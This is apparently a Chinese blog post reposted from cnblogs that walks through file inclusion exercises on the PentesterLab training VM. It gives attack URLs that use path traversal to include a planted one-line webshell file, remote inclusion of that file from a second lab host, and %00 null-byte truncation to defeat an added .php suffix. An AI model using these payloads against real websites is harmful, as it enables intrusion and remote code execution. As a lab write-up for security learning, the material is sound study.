标签：das 写入 mamicode 增加 漏洞 直接 路径 family mda
关于pentester系统的下载和安装可进入右边的链接进行学习——
下面实验开始。
（1）example1本地文件包含漏洞
（a）在/home/user/目录下新建muma.txt文件，并写入一句话木马：
（b）在浏览器中输入url：
http://192.168.227.148/fileincl/example1.php?page=../../../../../../../../home/user/muma.txt
（2）Example1远程文件包含漏洞
同上，将路径名换成url:
http://192.168.227.148/fileincl/example2.php?page=http://192.168.227.147/muma.txt
（3）example2本地文件包含漏洞
（a）直接输入url：
报错！
（b）按照错误信息找到产生漏洞的php文件：
发现在我们输入的文件名后增加了php后缀，那么就要采取截断。
（c）输入url：
http://192.168.227.148/fileincl/example2.php?page=../../../../../../home/user/muma.txt%00
（4）Example2远程文件包含漏洞
（a）直接输入url：
http://192.168.227.148/fileincl/example2.php?page=http://192.168.227.147/muma.txt
报错！
（b）按照错误信息找到产生漏洞的php文件：
发现在我们输入的文件名后增加了php后缀，那么就要采取截断。
（c）输入url：
http://192.168.227.148/fileincl/example2.php?page=http://192.168.227.147/muma.txt%00
2020-03-08 18:21:03
标签：das 写入 mamicode 增加 漏洞 直接 路径 family mda
原文地址：https://www.cnblogs.com/ynydk/p/12443985.html
